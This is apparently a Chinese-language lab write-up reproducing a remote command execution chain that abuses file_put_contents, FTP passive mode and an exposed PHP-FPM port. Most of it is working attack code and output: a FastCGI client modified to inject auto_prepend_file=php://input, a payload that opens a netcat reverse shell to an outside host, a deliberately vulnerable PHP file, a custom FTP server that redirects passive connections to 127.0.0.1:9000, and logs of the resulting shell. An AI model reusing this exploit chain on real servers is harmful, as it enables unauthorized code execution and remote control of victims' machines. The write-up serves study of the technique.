在閱讀Laravel debug rce[1]的文章時,感嘆文章中的技巧之餘,有一句話引起了我的注意。 It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine. 眾所周知,我不知呀!
本文學習file_put_contents + FTP + php-fpm的命令執行。
原理參考[2],我們可以得知,PHP-FPM未授權訪問時,可以通過修改變量auto_prepend_file或auto_append_file來執行文件。根據[1]中描述,我們需要讓file_put_contents時,將結果寫到php-fpm,這樣造成命令執行。
實驗php-fpm命令執行docker起一個php-fpm的環境
docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm
利用pyfcgiclient來發送fastcgi數據包
from pyfcgiclient.fpm import FPM
phpfpm = FPM(
host='127.0.0.1',
port=9000,
sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)
post_string = '<?php echo `id`;phpinfo(); exit();?>'
status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)
由於有些參數我們沒辦法直接修改,就直接修改pyfcgiclient裡面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On',
同時修改flup_fcgi_client.py中的_environPrefixes,增加PHP_
_environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']
docker exec進入容器,下載對應文件,python執行,成功執行phpinfo。到這裡,我們成功對php-fpm發包執行命令了。不過這裡使用的是socket文件,不是ip+port的方式。後面我們需要修改配置。
ftp passive modeftp passive mode[4]
In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.
我們試一下ftp passive mode。使用pyftpdlib測試,basic_ftpd.py, 我們設置passive_mode的ip和port,同時在php容器裡面nc監聽9000埠(為方便演示實驗,缺少的bin文件都先準備好,如nc,lsof,xxd等)
handler.masquerade_address = '127.0.0.1'
handler.passive_ports = range(9000, 9001)
同時在docker裡面開啟nc -lvvp 9000,在另一個終端裡面執行wget ftp://ftp_server_ip:2121/test,可以看到nc界面顯示connect to [127.0.0.1] from localhost [127.0.0.1] 56976,說明確實會去連接ftp指定的ip和port。接下來我們按照文章中的思路來驗證。
環境準備首先我們將php-fpm調整為監聽9000埠。備份配置文件之後進行替換 sed -i 's/\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' www.conf 修改ngix配置
/etc/nginx/conf.d# sed -i 's/unix:\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' default.conf
重啟php-fpm和nginx
/etc/init.d/php8.0-fpm restart
/etc/init.d/nginx reload
查看埠,發現監聽了9000
./lsof -i:9000
php-fpm8. 137 root 8u IPv4 44589 0t0 TCP localhost:9000 (LISTEN)
抓取payload數據包,為方便演示,複製了nc到docker。前面我們使用nc存數據包,這裡我們換另外一種方式,使用wireshark,找到發送到9000埠的數據包,右鍵Follow->TCP Stream,選擇發往9000埠,Raw格式的數據包,保存出來。
from pyfcgiclient.fpm import FPM
phpfpm = FPM(
host='127.0.0.1',
port=9000,
#sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)
post_string = '<?php system("touch /tmp/hacked");system("nc REDACTED 8888 -e /bin/bash");?>'
status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)
將數據包發送到127.0.0.1:9000,發現可以成功。
cat phpfpmlog12 | ./nc 127.0.0.1 9000
漏洞php文件vuln.php
vuln test
<?php
$url = $_GET["url"];
echo 'reading:' ;
$contents = file_get_contents($url);
echo 'read ok';
var_dump($contents);
echo 'writing:' ;
file_put_contents($url,$contents);
echo 'write ok' ;
?>
// 中間做了很多測試和實驗,下面只寫成功的結果,略去失敗的嘗試
現在我們需要做的就是file_get_contents的時候,發送準備好的數據包,file_put_contents請求的時候,pasv到127.0.0.1:9000埠去,造成命令執行。
ftp腳本,在basic_ftpd.py的基礎上進行修改。
賦予anonymous讀寫權限
修改MyPassiveDTP,在第二次file_put_contents請求過來時,PASV命令返回127.0.0.1:9000 227 Entering passive mode (127,0,0,1,35,40)
修改MyHandler,在第二次file_put_contents請求過來時,SIZE返回550 /phpfpmlog12aaabb is not retrievable.
備份之前抓包記錄的phpfpmlog
#!/usr/bin/env python
# Copyright (C) 2007 Giampaolo Rodola' <g.rodola@gmail.com>.
# Use of this source code is governed by MIT license that can be
# found in the LICENSE file.
"""A basic FTP server which uses a DummyAuthorizer for managing 'virtual
users', setting a limit for incoming connections and a range of passive
ports.
"""
import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler,PassiveDTP
from pyftpdlib.servers import FTPServer
import logging
logging.basicConfig(level=logging.DEBUG)
class MyHandler(FTPHandler):
fileflag = False
def on_connect(self):
print("%s:%s connected" % (self.remote_ip, self.remote_port))
def on_incomplete_file_received(self, file):
# remove partially uploaded files
import os
os.remove(file)
def ftp_SIZE(self, path):
print(path)
if not MyHandler.fileflag:
MyHandler.fileflag = True
else:
MyHandler.fileflag = False
path = path + "aaabb"
super(MyHandler,self).ftp_SIZE(path)
class MyPassiveDTP(PassiveDTP):
_flag = 0
def __init__(self, cmd_channel, extmode=False):
#print()
print(cmd_channel.masquerade_address)
print(cmd_channel.passive_ports)
if MyPassiveDTP._flag % 4 ==0 or MyPassiveDTP._flag % 4 == 1:
MyPassiveDTP._flag = MyPassiveDTP._flag + 1
print("False Flag")
else:
MyPassiveDTP._flag = MyPassiveDTP._flag + 1
cmd_channel.masquerade_address = '127.0.0.1'
cmd_channel.passive_ports = range(9000, 9001)
print(cmd_channel.masquerade_address)
print(cmd_channel.passive_ports)
super(MyPassiveDTP,self).__init__(cmd_channel, extmode=False)
def startftpserver():
# Instantiate a dummy authorizer for managing 'virtual' users
authorizer = DummyAuthorizer()
# Define a new user having full r/w permissions and a read-only
# anonymous user
authorizer.add_user('user', '12345', os.getcwd(), perm='elradfmwMT')
authorizer.add_anonymous(os.getcwd(),perm='elradfmwMT')
# Instantiate FTP handler class
handler = MyHandler
#handler = FTPHandler
passdtp = MyPassiveDTP
handler.passive_dtp = passdtp
handler.authorizer = authorizer
# Define a customized banner (string returned when client connects)
handler.banner = "pyftpdlib based ftpd ready."
# Specify a masquerade address and the range of ports to use for
# passive connections. Decomment in case you're behind a NAT.
# handler.masquerade_address = '127.0.0.1'
# handler.passive_ports = range(9000, 9001)
handler.passive_ports = range(60000, 65535)
# Instantiate FTP server class and listen on 0.0.0.0:2121
address = ('', 2121)
server = FTPServer(address, handler)
# set a limit for connections
server.max_cons = 256
server.max_cons_per_ip = 5
# start ftp server
server.serve_forever()
if __name__ == '__main__':
startftpserver()
開啟nc監聽
nc -lvvp 8888
請求http://REDACTED:9099/vuln.php?url=ftp://REDACTED:2121/phpfpmlog12 ftp log
DEBUG:pyftpdlib:REDACTED:47198-[] <- USER anonymous
DEBUG:pyftpdlib:REDACTED:47198-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASS ******
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 230 Login successful.
INFO:pyftpdlib:REDACTED:47198-[anonymous] USER 'anonymous' logged in.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- TYPE I
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- SIZE /phpfpmlog12
/REDACTED/ftptest/phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 550 /phpfpmlog12aaabb is not retrievable.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- EPSV
None
range(60000, 65535)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASV
DEBUG:pyftpdlib:[debug] call: close() (<__main__.MyPassiveDTP listening REDACTED:9000 at 0x7f1a8e081b50>)
127.0.0.1
range(9000, 9001)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- STOR /phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 150 File status okay. About to open data connection.
INFO:pyftpdlib:REDACTED:47198-[anonymous] -> 421 Passive data channel timed out.
nc log
➜ ~ nc -lvvp 8888
listening on [any] 8888 ...
REDACTED: inverse host lookup failed: Unknown host
connect to [REDACTED] from (UNKNOWN) [REDACTED] 60728
ls
50x.html
css
images
index.html
index.php
test.php
test_socket.php
vuln.php
vuln2.php
vuln3.php
vuln4.php
vuln5.php
vuln6.php
vuln7.php
成功。Man, we made it.
總結file_put_contents結合ftp passive mode,可以往任意ip port發送數據包,結合php-fpm,可以造成命令執行。有點像dns rebinding。是否還有其他的利用方式?
引用Laravel <= v8.4.2 debug mode: Remote code execution
PHP-FPM 遠程命令執行漏洞
PHP-fpm 遠程代碼執行漏洞(CVE-2019-11043)分析
FTP Connection Modes (Active vs. Passive)
Linux socket文件系統體現「一切皆文件」
PORT FTP command
pyftpdlib
Fastcgi協議分析 PHP-FPM未授權訪問漏洞